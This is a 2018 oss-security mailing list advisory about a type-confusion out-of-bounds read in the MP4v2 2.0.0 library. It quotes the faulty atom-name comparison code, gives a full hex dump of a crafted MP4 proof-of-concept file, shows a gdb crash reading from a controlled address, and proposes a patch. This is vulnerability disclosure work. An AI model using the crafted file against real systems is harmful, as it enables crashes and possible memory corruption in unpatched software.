[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: [oss-security] Out-of-bounds memory access in MP4v2 2.0.0
From: Ruikai Liu <lrk700 () gmail ! com>
Date: 2018-07-18 8:30:41
Message-ID: CAB6DpjXN5a0iBNVH6ioDd3RC0moCofxN5-QJWxkWZZswUhncbQ () mail ! gmail ! com
[Download RAW message or body]
Hi,
A out-of-bounds memory access bug is found in MP4v2 2.0.0, a legacy
library dealing with MP4 media file.
========= find atom by type =========
The function `FindAtom` iterates the atom tree and find the target by
comparing its type with the given one:
316 MP4Atom* MP4Atom::FindChildAtom(const char* name)
317 {
318 uint32_t atomIndex = 0;
319
320 // get the index if we have one, e.g. moov.trak[2].mdia...
321 (void)MP4NameFirstIndex(name, &atomIndex);
322
323 // need to get to the index'th child atom of the right type
324 for (uint32_t i = 0; i < m_pChildAtoms.Size(); i++) {
325 if (MP4NameFirstMatches(m_pChildAtoms[i]->GetType(), name)) {
...
However, the comparison could be passed for an crafted atom which
doesn't match in fact:
29 bool MP4NameFirstMatches(const char* s1, const char* s2)
30 {
31 if (s1 == NULL || *s1 == '\0' || s2 == NULL || *s2 == '\0') {
32 return false;
33 }
34
35 if (*s2 == '*') {
36 return true;
37 }
38
39 while (*s1 != '\0') {
40 if (*s2 == '\0' || strchr("[.", *s2)) {
41 break;
42 }
43 if (tolower(*s1) != tolower(*s2)) {
44 return false;
45 }
46 s1++;
47 s2++;
48 }
49 return true;
50 }
The above while-loop would exit and return true once `s1` ends early.
For example, `MP4NameFirstMatches("abc\x00", "abcd")` returns true,
though an atom with type "abc\x00" should never be returned when
finding atom of type "abcd".
Things are different when creating atoms. The 4-bytes type read from
file is strictly checked to determine which atom constructor to
use(src/mp4atom.cpp):
954 if( ATOMID(type) == ATOMID("sdtp") )
955 return new MP4SdtpAtom(file);
The above difference between creating and finding atoms could result
in type confusion, which leads to out-of-bounds memory access.
========= MP4SdtpAtom =========
`FindAtom` is called to find an atom of type "sdtp" when generating
the track info(src/mp4track.cpp):
239 // update sdtp log from sdtp atom
240 MP4SdtpAtom* sdtp = (MP4SdtpAtom*)m_trakAtom.FindAtom(
"trak.mdia.minf.stbl.sdtp" );
241 if( sdtp ) {
242 uint8_t* buffer;
243 uint32_t bufsize;
244 sdtp->data.GetValue( &buffer, &bufsize );
245 m_sdtpLog.assign( (char*)buffer, bufsize );
246 free( buffer );
247 }
So if a crafted MP4 file contains an atom of type "sdt\x00", then this
atom would be returned and cast to `MP4SdtpAtom`. But its actual class
is not `MP4SdtpAtom` since strict comparison is used when creating the
atom. As a result, `sdtp->data` is actually out of the object.
========= POC =========
We build a MP4 file which contains the necessary fields. The atoms are
arranged dedicatedly so that for 32-bits program, `sdtp->data` would
access the trackID, which is controlled by us and would finally leads
to reading from `0xdeadbeef`:
root@debian:~# xxd c4.mp4
00000000: 0000 0018 6674 7970 6d70 3432 0000 0000 ....ftypmp42....
00000010: 6d70 3432 6973 6f6d 0000 01c4 6d6f 6f76 mp42isom....moov
00000020: 0000 006c 6d76 6864 0000 0000 3030 3030 ...lmvhd....0000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000040: 3030 3030 0000 0000 0000 0000 0000 0000 0000............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0150 ...............P
00000090: 7472 616b 0000 0060 746b 6864 0000 0001 trak...`tkhd....
000000a0: 1234 5678 2345 6789 dead bed7 0000 0000 .4Vx#Eg.........
000000b0: 9876 5432 0000 0000 4141 4141 4141 4141 .vT2....AAAAAAAA
000000c0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000d0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000e0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000f0: 4141 4141 0000 00e8 6d64 6961 0000 0008 AAAA....mdia....
00000100: 0565 7374 0000 0020 6864 6c72 4242 4242 .est... hdlrBBBB
00000110: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
00000120: 4242 4242 0000 0020 6d64 6864 0000 0000 BBBB... mdhd....
00000130: 3030 3030 4040 4040 5050 5050 1010 1010 0000@@@@PPPP....
00000140: 9090 9090 0000 0098 6d69 6e66 0000 0008 ........minf....
00000150: 0465 7374 0000 0088 7374 626c 0000 0018 .est....stbl....
00000160: 7374 737a 0000 0000 0000 0000 0000 0000 stsz............
00000170: 0000 0000 0000 001c 7374 7363 0000 0000 ........stsc....
00000180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000190: 0000 0010 7374 636f 0000 0000 0000 0000 ....stco........
000001a0: 0000 0018 7374 7473 0000 0000 0000 0000 ....stts........
000001b0: 0000 0000 0000 0000 0000 001c 1364 7400 .............dt.
000001c0: 0000 001c 036f 3634 0000 0000 0000 0008 .....o64........
000001d0: 7374 7368 0000 0008 7364 7400 stsh....sdt.
Here's the result of running `mp4info` on it:
root@debian:~# gdb /usr/bin/mp4info
Reading symbols from /usr/bin/mp4info...(no debugging symbols found)...done.
(gdb) r c4.mp4
Starting program: /usr/bin/mp4info c4.mp4
/usr/bin/mp4info version -r
c4.mp4:
ReadAtom: "c4.mp4": atom type est is suspect
ReadAtom: "c4.mp4": atom type est is suspect
ReadAtom: "c4.mp4": atom type dt is suspect
ReadAtom: "c4.mp4": atom type sdt is suspect
ReadChildAtoms: "c4.mp4": In atom stbl missing child atom stsd
ReadChildAtoms: "c4.mp4": In atom minf missing child atom dinf
Program received signal SIGSEGV, Segmentation fault.
0xf7ece2c6 in ?? () from /usr/lib/i386-linux-gnu/libmp4v2.so.2
(gdb) x/i $eip
=> 0xf7ece2c6: mov (%eax),%ecx
(gdb) i r eax
eax 0xdeadbeef -559038737
The binary we test is the i386 mp4v2 package of Debian:
root@debian:~# dpkg -s mp4v2-utils
Package: mp4v2-utils
Status: install ok installed
Priority: optional
Section: sound
Installed-Size: 281
Maintainer: Debian Multimedia Maintainers
<pkg-multimedia-maintainers@lists.alioth.debian.org>
Architecture: i386
Source: mp4v2 (2.0.0~dfsg0-5)
Version: 2.0.0~dfsg0-5+b1
Depends: libmp4v2-2 (= 2.0.0~dfsg0-5+b1), libc6 (>= 2.4), libgcc1 (>=
1:4.2), libstdc++6 (>= 5.2)
========= fix =========
The bug can be fixed by more checks when doing type comparison. For example:
--- src/mp4util.cpp 2018-07-18 15:48:12.766709572 +0800
+++ ../mp4v2-2.0.0-orig/src/mp4util.cpp 2012-05-21 06:11:53.000000000 +0800
@@ -46,7 +46,6 @@
s1++;
s2++;
}
- if(*s2 != '[' && *s2 != '.' && *s2 != '\0') return false;
return true;
}
========= Reference =========
[1] https://code.google.com/archive/p/mp4v2/
[2] http://xhelmboyx.tripod.com/formats/mp4-layout.txt
--
Best regards,
Ruikai Liu
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic